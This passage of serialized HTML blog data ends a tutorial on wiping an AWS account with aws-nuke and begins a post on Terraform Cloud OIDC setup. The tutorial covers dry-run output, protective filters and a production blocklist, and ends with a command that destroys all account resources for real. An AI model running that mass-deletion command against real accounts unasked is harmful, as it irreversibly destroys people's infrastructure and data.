style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tfc-agent\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [CreateDate: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LastUsedDate:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Name:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Path:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tfc-agent\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [PolicyArn: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PolicyName:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RoleCreateDate:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RoleLastUsed:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RoleName:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RolePath:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eScan\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e complete:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 85\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e total,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nukeable,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 66\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e filtered.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eThe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e above\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e deleted\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e supplied\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e configuration.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Provide\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --no-dry-run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e actually\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e destroy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resources.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis is great, it fully scanned the account and found every resource to delete!\nIt even wants to delete the DefaultVPC which is usually a good idea. The one\nresource that should catch your eye that you probably do not want to delete:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAWS clearly does not want us to delete that!\u003c/p\u003e\n\u003ch1\u003eFilters\u003c/h1\u003e\n\u003cp\u003eTo prevent nuke from deleting resources you want to keep you can define presets\nthat you use on each account. So with our SSO example we want to prevent it\nfrom deleting those resources in a preset.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sso\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e filters\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"regex\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSSSO_.*_DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can see in this example I am targeting specific resource types and then\nmatching them with both \u003ccode\u003eregex\u003c/code\u003e and \u003ccode\u003eglob\u003c/code\u003e filter types. These are super\npowerful but a lot of times the simpler filters can be used. I start with\n\u003ccode\u003econtains\u003c/code\u003e filter and then go from there:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003econtains\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eAWSReservedSSO\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen the other thing you may have noticed is that I was repeating\n\u003ccode\u003eAWSReservedSSO\u003c/code\u003e multiple times. To reduce that you can use standard YAML\nanchors. So the final config for your preset would look like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sso\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e filters\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e _DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can use that preset in our accounts configuration:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"presets\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo your final config should look something like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eglobal\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eaccount-blocklist\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e # production\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sso\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e filters\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e _DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"presets\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhen you run this you should see now the resources we want to keep are filtered\nout:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e filtered\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e by\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce you are ready and have your filters in place you can run it for real!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws-nuke\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke.yaml\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --no-dry-run\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eNext steps\u003c/h1\u003e\n\u003cp\u003eOne final note about it is that it does not understand the relationship between\nresources and so it could try deleting an EBS volume that is still in use by an\nEC2 instance. There is not a great solution for this outside of running nuke a\nfew times.\u003c/p\u003e\n\u003cp\u003eThe tool is well documented and so you can find the rest of the information by going to\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003ehttps://github.com/rebuy-de/aws-nuke\u003c/a\u003e!\u003c/p\u003e","category":"AWS","date":"2023-06-22T00:00:00Z","tags":["AWS","DevOps","SRE"],"title":"Wiping an AWS Account with aws-nuke"}]},"AWS":{"count":2,"posts":[{"id":["2023","aws_from_scratch_apply_before_merge"],"path":"2023/aws_from_scratch_apply_before_merge","contentHtml":"\u003cp\u003eFollowing this article will get you setup with an AWS Root account that can be\nmanaged through Terraform Cloud with OIDC and github actions. As a best practice you\nshould not keep long-lived access keys in your CI/CD pipelines when\ndeploying to AWS, instead you should use OIDC (OpenID Connect) to securely\ndeploy to AWS when using Terraform Cloud or Github Actions.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/3oZd1m8_KIo\" title=\"AWS From Scratch - Preparing your account to be managed by IaC via Terraform and Github Actions\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture;web-share\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003ch1\u003eTL;DR\u003c/h1\u003e\n\u003cp\u003eDownload all the terraform from the blog post here:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-apply-before-merge\"\u003ehttps://github.com/sontek/aws-apply-before-merge\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-terraform-github-actions\"\u003ehttps://github.com/sontek/aws-terraform-github-actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eHow does OIDC work\u003c/h1\u003e\n\u003cp\u003eOIDC enables us to request a short-lived access token directly from AWS. We\njust have to create trust relationship that controls which workflows are able\nto request the access tokens.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNo need to duplicate AWS credentials as long-lived GitHub secrets.\u003c/li\u003e\n\u003cli\u003eSince we are using a short-lived access token that is only valid for a single\njob there is no reason to worry about rotating secrets.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe following diagram gives an overview of how we can use Terraform Cloud's\nOIDC provider to integrate with AWS:\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003eflowchart RL\nsubgraph AWS[AWS #1]\n direction LR\n OIDC[OIDC Trust]\n Roles\n Resources\nend\nsubgraph Terraform[Terraform Cloud Workflow #2]\n OIDCProvider[OIDC Provider]\nend\n\nAWS --\u003e Token[Access Token #4] --\u003e Terraform\nTerraform --\u003e JWT[JWT \u0026#x26; Cloud Role ID #3] --\u003e AWS\u003c/pre\u003e\n\u003col\u003e\n\u003cli\u003eIn AWS, create an OIDC trust between a role and our terraform cloud\nworkflow(s) that need access to the cloud.\u003c/li\u003e\n\u003cli\u003eEvery time a job runs, TFC's OIDC Provider auto-generates an OIDC token.\nThis token contains multiple claims to establish a security-hardened and\nverifiable identity about the specific workflow that is trying to authenticate.\u003c/li\u003e\n\u003cli\u003eRequest this token from TFC's OIDC provider, and present it to AWS\u003c/li\u003e\n\u003cli\u003eOnce AWS successfully validates the claims presented in the token, it then\nprovides a short-lived cloud access token that is available only for the duration\nof the job.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eWhat does this post accomplish\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eSetup a root AWS account that is managed through terraform\u003c/li\u003e\n\u003cli\u003eSetup OIDC authentication with Terraform Cloud so it can talk to AWS\u003c/li\u003e\n\u003cli\u003eSetup Github Actions authentication with Terraform Cloud so we can run plan\nand apply through the CI/CD pipeline.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eSetup AWS Access\u003c/h1\u003e\n\u003cp\u003eIt is very bad practice to use the root account for much of anything but for\nbootstrapping the account it is necessary, so the first step is to get your\n\u003ccode\u003eAWS_ACCESS_KEY_ID\u003c/code\u003e and \u003ccode\u003eAWS_SECRET_ACCESS_KEY\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTo do this click your account and choose \u003ccode\u003eSecurity Credentials\u003c/code\u003e in the top\nright:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/security_credentials.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eThen choose \u003ccode\u003eCreate Access key\u003c/code\u003e:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/create_access_token.png\" width=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou need to set these environment variables in your shell so that your local\nshell has access to AWS. After you set them you can verify you set them correctly\nby running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: 